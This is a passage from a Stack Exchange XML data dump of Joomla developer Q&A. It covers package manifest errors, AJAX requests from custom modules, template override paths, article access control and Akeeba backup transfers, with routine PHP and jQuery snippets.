of the zip file and the folder packages is at the root too... I am lost, its just so simple... what is wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got the same error on both Joomla 3.6.5 and 3.7 Beta&lt;/p&gt;&#xA;" OwnerUserId="9915" LastActivityDate="2018-04-04T11:02:51.597" Title="What is wrong with this XML Package Installation file? Joomla cant find XML on Package" Tags="|development|extensions|xml|packaging|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20561" PostTypeId="1" CreationDate="2017-04-14T03:30:56.420" Score="1" ViewCount="335" Body="&lt;p&gt;I Have a plugin and I have the Following code working fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;params-&amp;gt;get('thepath') == 'plugins'){&#xA;&#xA;       JForm::addFormPath(JPATH_PLUGINS.'/system/add_xml_fields/');&#xA;&#xA;      }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to load the actual default template path and your overrides, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;params-&amp;gt;get('thepath') == 'template_override'){&#xA;        foreach ($themodules as $key=&amp;gt;$themodule){&#xA;            if ($data-&amp;gt;module==$themodule) {&#xA;                JForm::addFormPath($tpath.'html'.$themodule.'/');&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I make this to work. Actually do not load anything :(           &lt;/p&gt;&#xA;" OwnerUserId="9118" LastActivityDate="2018-09-07T12:02:00.887" Title="JForm::addFormPath to load Template path" Tags="|joomla-3.x|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20563" PostTypeId="2" ParentId="20560" CreationDate="2017-04-14T11:37:53.157" Score="2" Body="&lt;p&gt;I've tested with your code, and it works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To try and isolate the bug, I'd probably firstly remove the &lt;code&gt;&amp;lt;files&amp;gt;&lt;/code&gt; node and the packages folder and see if you get a &lt;code&gt;Package Update: There were no files to install!&lt;/code&gt; error message instead.  If you continue to get the &lt;code&gt;Can't find Joomla XML setup file.&lt;/code&gt; error message then this would confirm that the problem is with your package's manifest file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is the case, it may be worth updating your question with a download of this simplified one-file package in the hope other users can replicate the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To isolate the issue further, you may wish to try and get more accurate details of the failure than the error message provides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two possible places this error may be called&#xA;&lt;code&gt;\libraries\cms\installer\helper.php&lt;/code&gt; - at which the function &lt;code&gt;detectType&lt;/code&gt; (line 250) calls the code &lt;code&gt;JLog::add(JText::_('JLIB_INSTALLER_ERROR_NOTFINDJOOMLAXMLSETUPFILE'), JLog::WARNING, 'jerror');&lt;/code&gt; if it cannot find what type of package it is, and &lt;code&gt;libraries\cms\installer\installer.php&lt;/code&gt; where it creates the same error message if it can't find a manifest file in the &lt;code&gt;findManifest()&lt;/code&gt; function (line 1885).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you feel up to it, you may be able to dump variables to screen to see at what point these functions are failing and that might provide useful information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, revert any core changes afterwards.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-04-14T11:37:53.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20565" PostTypeId="1" CreationDate="2017-04-14T20:49:37.690" Score="2" ViewCount="3847" Body="&lt;p&gt;Requirements for this task is - I can NOT use any type of components (com_ajax is out of the options list)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GOAL: send post data if checkboxes are 'checked' using ajax within custom module.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is my AJAX code correct? To be specific, if URL is right? I know that 'defined('_JEXEC') or die;' won't allow to send post data to specific file like this, but even if I comment it out, I don't succeed to get POST data.&#xA;What could be wrong? I try to access POSTED data in mod_test.php with print_r($_POST);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there alternative way to send posted data (not using components) to my module helper.php/mod_test.php file? I'm open to creative brain-storming.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function function1() {&#xA;    var data = $(&quot;[name='form1']&quot;).serialize();&#xA;    $.ajax({&#xA;        url: &quot;modules/mod_test/mod_test.php&quot;, &#xA;        type: &quot;POST&quot;,&#xA;        async: true,&#xA;        cache: false,&#xA;        data: data, &#xA;        success: function(data){ &#xA;            alert(data); &#xA;        }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;this.form.submit();&quot; name=&quot;form1&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; onclick=&quot;function1();&quot; value=&quot;1&quot;&amp;gt;value1&amp;lt;/input&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; onclick=&quot;function1();&quot; value=&quot;2&quot;&amp;gt;value2&amp;lt;/input&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; onclick=&quot;function1();&quot; value=&quot;3&quot;&amp;gt;value3&amp;lt;/input&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any real code example would be flawless.&lt;/p&gt;&#xA;" OwnerUserId="10953" LastActivityDate="2018-10-05T09:41:02.133" Title="Sending POST data within module - AJAX" Tags="|joomla-3.x|module|ajax|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20566" PostTypeId="1" AcceptedAnswerId="20575" CreationDate="2017-04-14T21:25:28.873" Score="0" ViewCount="968" Body="&lt;p&gt;I want to get the following article setup to work on one of my Joomla 3 sites:&#xA;- Users of the &lt;strong&gt;user group A&lt;/strong&gt; can create, view and edit &lt;strong&gt;only their own&lt;/strong&gt; artile(s)&#xA;- Users of the &lt;strong&gt;user group B&lt;/strong&gt; can create, view and edit &lt;strong&gt;their own article(s) as well as the articles from the **user group A&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a solution suitable for Joomla 2.5, but I can't seem to get it to work on my Joomla 3 site:&#xA;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=673&amp;amp;p=3469670#p3469670&quot; rel=&quot;nofollow noreferrer&quot;&gt;Allow Users to View ONLY articles they Author&lt;/a&gt;&#xA;- the reply from &quot;rcarey&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked Joomla 3's &lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial#Controlling_What_Users_Can_See&quot; rel=&quot;nofollow noreferrer&quot;&gt;ACL tutorial&lt;/a&gt; as well, but couldn't find anything usefull for my issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way how to solve this please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any ideas/hints. &lt;/p&gt;&#xA;" OwnerUserId="9420" LastActivityDate="2017-05-05T18:26:07.673" Title="How to allow users to view/edit their article(s) only - Joomla 3?" Tags="|joomla-3.x|articles|permissions|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20567" PostTypeId="2" ParentId="20560" CreationDate="2017-04-15T01:46:53.060" Score="3" Body="&lt;p&gt;Ok, I discovered what the issue was.. It was just something very silly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue was that the XML on the pkg starts with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the XML on one of the extension starts with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Noticed the difference? The encoding paramter ITS CASE SENSITIVE! I am not sure if that was some kind of error that the Joomla team could predict (XML is just a clumsy language after all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you have this kind of issue just check if all XML values (from extensions and of course from the XML package) are lowercase. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9915" LastActivityDate="2017-04-15T01:46:53.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20568" PostTypeId="2" ParentId="20565" CreationDate="2017-04-15T01:56:21.913" Score="-1" Body="&lt;ol&gt;&#xA;&lt;li&gt;add a slash (presuming yr joomla is at the root of domain) to the start of your ajax url.&lt;/li&gt;&#xA;&lt;li&gt;make your ajax request to a file all by itself rather than using a joomla file - obviously if anything calls something from the joomla framework in that file it will throw an error because the framework wont be loaded.  you can load it yourself manually of course, but then my question would be :&lt;/li&gt;&#xA;&lt;li&gt;what's wrong with mod_ajax given that it suits this use case?&lt;/li&gt;&#xA;&lt;li&gt;are you fully confident your js function is running? is it alerting the html of a 404 page?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;anyway - here is a working code example.  the respond.php is just &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php print_r($_POST);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then mod_test.php is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;form method=&quot;post&quot; action=&quot;this.form.submit();&quot; name=&quot;form1&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; onclick=&quot;function1();&quot; value=&quot;1&quot;&amp;gt;value1&amp;lt;/input&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; onclick=&quot;function1();&quot; value=&quot;2&quot;&amp;gt;value2&amp;lt;/input&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; onclick=&quot;function1();&quot; value=&quot;3&quot;&amp;gt;value3&amp;lt;/input&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;script&amp;gt;    &#xA;function function1() {&#xA;    var data = jQuery(&quot;[name='form1']&quot;).serialize();&#xA;    jQuery.ajax({&#xA;        url: &quot;/modules/mod_test/respond.php&quot;, &#xA;        type: &quot;POST&quot;,&#xA;        async: true,&#xA;        cache: false,&#xA;        data: data, &#xA;        success: function(data){ &#xA;            alert(data); &#xA;        }&#xA;    });&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-04-15T01:56:21.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20569" PostTypeId="2" ParentId="20561" CreationDate="2017-04-15T03:54:08.967" Score="1" Body="&lt;p&gt;Solved, using a database query like this bellow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;params-&amp;gt;get('thepath') == 'template_override'){&#xA;foreach ($themodules as $key=&amp;gt;$themodule){&#xA;    if ($data-&amp;gt;module==$themodule) {&#xA;        $db = JFactory::getDBO();&#xA;        $query = &quot;SELECT template FROM #__template_styles WHERE client_id = 0 AND home = 1&quot;;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $defaultemplate = $db-&amp;gt;loadResult();&#xA;        JForm::addFormPath( JPATH_SITE.'/templates/'.$defaultemplate.'/html/'.$themodule.'/');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9118" LastActivityDate="2017-04-15T03:54:08.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20570" PostTypeId="1" AcceptedAnswerId="20571" CreationDate="2017-04-15T05:18:59.440" Score="1" ViewCount="89" Body="&lt;p&gt;I already have a site &lt;code&gt;www.poklo.com&lt;/code&gt;. I need to work on that, so i have set up a development environment. &lt;code&gt;www.dev.poklo.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, i have used akeeba's site transfer window, what i filled in form is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The URL to your new site: http://dev.poklo.com&#xA;Host name:  ftp.poklo.com&#xA;Port:  21&#xA;Username: pokloadmin&#xA;Password: *******&#xA;FTP/SFTP Directory: public_html/dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, i have got this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You have entered the connection information to the site you are&#xA;  transfering from. Your mistake would have deleted your own site. You&#xA;  need to enter the FTP/SFTP connection information to the site you are&#xA;  transferring to (new site or new server). Please fix the information&#xA;  above and retry.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How could i transfer the backup from domain to subdomain  or vice-versa using akeeba backup?&lt;/p&gt;&#xA;" OwnerUserId="9614" LastActivityDate="2017-04-15T07:38:47.913" Title="Using akeeba backup site transfer" Tags="|akeebabackup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20571" PostTypeId="2" ParentId="20570" CreationDate="2017-04-15T07:38:47.913" Score="3" Body="&lt;p&gt;it looks like you're dev site is just a subdirectory on the same account so you don't need to ftp the files anywhere.  just copy the jpa file from /administrator/components/com_akeeba/backups to /dev and then use kickstart (&lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.akeebabackup.com/products/akeeba-kickstart.html&lt;/a&gt;) to install the dev site.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-04-15T07:38:47.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20572" PostTypeId="2" ParentId="19163" CreationDate="2017-04-15T08:08:32.363" Score="3" Body="&lt;p&gt;In your table's bind function, add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ( !empty( $array[ 'list_links_url' ] ) &amp;amp;&amp;amp; ( is_array( $array[ 'list_links_url' ] ) ) ) ) {&#xA;            $this-&amp;gt;_jsonEncode[] = &quot;list_links_url&quot;;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9232" LastActivityDate="2017-04-15T08:08:32.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20574" PostTypeId="2" ParentId="16887" CreationDate="2017-04-15T13:44:33.330" Score="2" Body="&lt;p&gt;Follow the instruction: &lt;a href=&quot;https://i.stack.imgur.com/tu60i.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tu60i.png&quot; alt=&quot;instruction&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to User Groups Create &lt;/li&gt;&#xA;&lt;li&gt;User Group &quot;No Access&quot;&lt;/li&gt;&#xA;&lt;li&gt;Go to Access Levels page&lt;/li&gt;&#xA;&lt;li&gt;Create Access Level &quot;No Access2&quot;&lt;/li&gt;&#xA;&lt;li&gt;While doing step 4 - pick any User Groups you want.&lt;/li&gt;&#xA;&lt;li&gt;Save - and you're ready to go.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-04-15T13:44:33.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20575" PostTypeId="2" ParentId="20566" CreationDate="2017-04-15T13:51:59.163" Score="0" Body="&lt;p&gt;No way doing so without coding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you know a little bit about how Joomla works, or just google for it you can use &lt;a href=&quot;https://github.com/alex7r/overrideany&quot; rel=&quot;nofollow noreferrer&quot;&gt;this plugin&lt;/a&gt; to create &lt;strong&gt;override&lt;/strong&gt; of specific Joomla core method without modifying the core itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do here is override articles &lt;code&gt;getListQuery()&lt;/code&gt; to something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ContentModelArticles extends ContentModelArticlesBase&#xA;{&#xA;    protected function getListQuery(){&#xA;        $db = JFactory::getDbo();&#xA;        $query = parent::getListQuery();&#xA;&#xA;        /*&#xA;         * $group that can see all the posts&#xA;         */&#xA;        $group = 10;&#xA;        if(!in_array($group,JFactory::getUser()-&amp;gt;getAuthorisedGroups())){&#xA;            $query-&amp;gt;where($db-&amp;gt;qn('created_by').' = '.$db-&amp;gt;q(JFactory::getUser()-&amp;gt;id));&#xA;        }&#xA;        return $query;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will do it.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="8261" LastEditDate="2017-05-05T18:26:07.673" LastActivityDate="2017-05-05T18:26:07.673" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20576" PostTypeId="2" ParentId="20565" CreationDate="2017-04-15T14:03:46.583" Score="3" Body="&lt;p&gt;You should use Joomla`s com_ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to achieve your goal is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change &lt;code&gt;url&lt;/code&gt; to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_ajax&amp;amp;ignoreMessages&amp;amp;module=YMODULE&amp;amp;method=YMETHOD&amp;amp;format=json&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you need to create module helper at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/modules/mod_YMODULE/helper.php&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and place class like &lt;code&gt;ModYMODULEHelper&lt;/code&gt; there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last step is to place processing method there like: &lt;code&gt;public function YMETHODAjax(){return true;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's pretty much all.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;to simplify and use default values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;url&lt;/code&gt; =&gt; &lt;code&gt;index.php?option=com_ajax&amp;amp;module=YMODULE&amp;amp;format=json&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;processing method to use&lt;/code&gt; =&gt; &lt;code&gt;public function getAjax(){return true;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this without &lt;code&gt;&amp;amp;ignoreMessages&lt;/code&gt; you'll not receive system messages from &lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also you can check the plugin strategy I've described in answer to another post:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/20554/using-ajax-in-a-custom-module-how-to-do-it?noredirect=1&amp;amp;lq=1&quot;&gt;Using AJAX in a custom module - how to do it?&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="8261" LastEditDate="2017-04-15T14:31:39.550" LastActivityDate="2017-04-15T14:31:39.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20577" PostTypeId="2" ParentId="20554" CreationDate="2017-04-15T14:15:33.477" Score="1" Body="&lt;p&gt;Relates to &lt;a href=&quot;https://joomla.stackexchange.com/questions/20565/sending-post-data-within-module-ajax&quot;&gt;Sending POST data within module - AJAX&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I've posted answer there already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a two words: use &lt;code&gt;com_ajax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to? Check answer in post mentioned above.&#xA;Or look into the code of &lt;code&gt;com_ajax&lt;/code&gt;&#xA;It's pretty simple: you'll send requests to&#xA;&lt;code&gt;index.php?option=com_ajax&amp;amp;ignoreMessages&amp;amp;module=YMODULE&amp;amp;method=YMETHOD&amp;amp;format=json&lt;/code&gt;&#xA;Description of module logic is in the post above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'll add &lt;code&gt;call plugin&lt;/code&gt; description here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_ajax&amp;amp;ignoreMessages&amp;amp;plugin=EVENT&amp;amp;group=PLUGINGROUP&amp;amp;format=json&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will load plugins of group &lt;code&gt;PUGINGROUP&lt;/code&gt; (&lt;code&gt;ajax&lt;/code&gt; group is default) and trigger the event &lt;code&gt;onAjaxEVENT()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-04-15T14:15:33.477" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20578" PostTypeId="1" AcceptedAnswerId="20584" CreationDate="2017-04-16T08:18:13.420" Score="3" ViewCount="1241" Body="&lt;p&gt;I want to directly pass POST data to my .php file which is located in my module folder. I know this is security risk, but I'll try to fix that later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing research on this subject - how to do it with out using any components, so please don't suggest me com_ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//defined('_JEXEC') or die; &#xA;&amp;lt;form method=&quot;post&quot; name=&quot;form1&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; value=&quot;1&quot;&amp;gt;value1&amp;lt;/input&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; value=&quot;2&quot;&amp;gt;value2&amp;lt;/input&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; value=&quot;3&quot;&amp;gt;value3&amp;lt;/input&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA; jQuery(document).ready(function(jQuery){&#xA;&#xA;   jQuery(&quot;input[type='checkbox']&quot;).on(&quot;change&quot;,function(){&#xA;    if(jQuery(this).is(&quot;:checked&quot;))&#xA;    {&#xA;         var checkboxdata=[];&#xA;&#xA;         jQuery(&quot;input[type='checkbox']&quot;).each(function(){&#xA;&#xA;                  if(jQuery(this).is(&quot;:checked&quot;))&#xA;                            {&#xA;                            checkboxdata.push(jQuery(this).val());&#xA;                            }&#xA;&#xA;                  })&#xA;&#xA;         var data = checkboxdata;&#xA;         jQuery.ajax({&#xA;             url: '/modules/mod_test/respond.php',&#xA;             type: 'POST',&#xA;             async: true,&#xA;             cache: false,&#xA;             data: data,&#xA;             success:function(r){&#xA;                    alert(data); &#xA;             }&#xA;         })&#xA;    }&#xA;})&#xA;&#xA;});&#xA;&#xA;&amp;lt;/script&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On every tick in checkbox - I get alerted by data (so far all good!). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;respond.php&lt;/strong&gt; (custom php file I want to have direct access - send POST data with ajax)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;print_r($_POST);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE: [jamesgarrett]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;default.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;&quot; name=&quot;form1&quot; id=&quot;mycustomform&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; onclick=&quot;function1();&quot; value=&quot;1&quot;&amp;gt; Apple&amp;lt;/input&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; onclick=&quot;function1();&quot; value=&quot;2&quot;&amp;gt; Pineapple&amp;lt;/input&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; onclick=&quot;function1();&quot; value=&quot;3&quot;&amp;gt; Pen&amp;lt;/input&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;div id=&quot;response&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;function function1() {&#xA;var data = jQuery(&quot;#mycustomform&quot;).serialize() + '&amp;amp;thisisajax=1';&#xA;jQuery.ajax({&#xA;    url: &quot;&amp;lt;?php echo JUri::current(); ?&amp;gt;&quot;, &#xA;    type: &quot;POST&quot;,&#xA;    data: data, &#xA;    success: function(response){ &#xA;        response = jQuery.parseJSON(response);&#xA;        if(response.success === true){&#xA;           jQuery('#response').html(response.data);&#xA;        } else {&#xA;            alert('error');&#xA;        }&#xA;    }&#xA;});&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;helper.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$data = $jinput-&amp;gt;post-&amp;gt;get('checkboxList', [], 'array');&#xA;$ajax_test = $jinput-&amp;gt;post-&amp;gt;get('thisisajax', 0, 'int');&#xA;&#xA;if($ajax_test){&#xA;$some_text = ['','Apple','Pineapple','Pen'];&#xA;$response = &quot;&quot;;&#xA;foreach($data as $d){&#xA;    $response .= $some_text[$d] . &quot; &quot;;&#xA;}&#xA;echo new JResponseJson($response);&#xA;jexit();&#xA;}&#xA;&#xA;&#xA;class ModHelloWorldHelper&#xA;{&#xA;public static function getHello()&#xA;{&#xA;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10957" LastEditorUserId="10957" LastEditDate="2017-04-17T07:19:04.207" LastActivityDate="2017-04-18T08:05:13.027" Title="Access custom module file directly using AJAX" Tags="|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20579" PostTypeId="1" AcceptedAnswerId="20580" CreationDate="2017-04-16T08:49:05.913" Score="6" ViewCount="2660" Body="&lt;p&gt;I want to display a message after clicking a button in Joomla using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.renderMessages({&quot;success&quot;:&quot;this is test message&quot;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/27SDe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/27SDe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it displays the characters vertically and in descending order, whereas I want to display it like so:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;this is test message&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="10959" LastEditorUserId="168" LastEditDate="2018-04-12T12:05:30.493" LastActivityDate="2021-04-25T12:41:38.587" Title="how to display message in joomla using javascript" Tags="|joomla-3.x|javascript|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
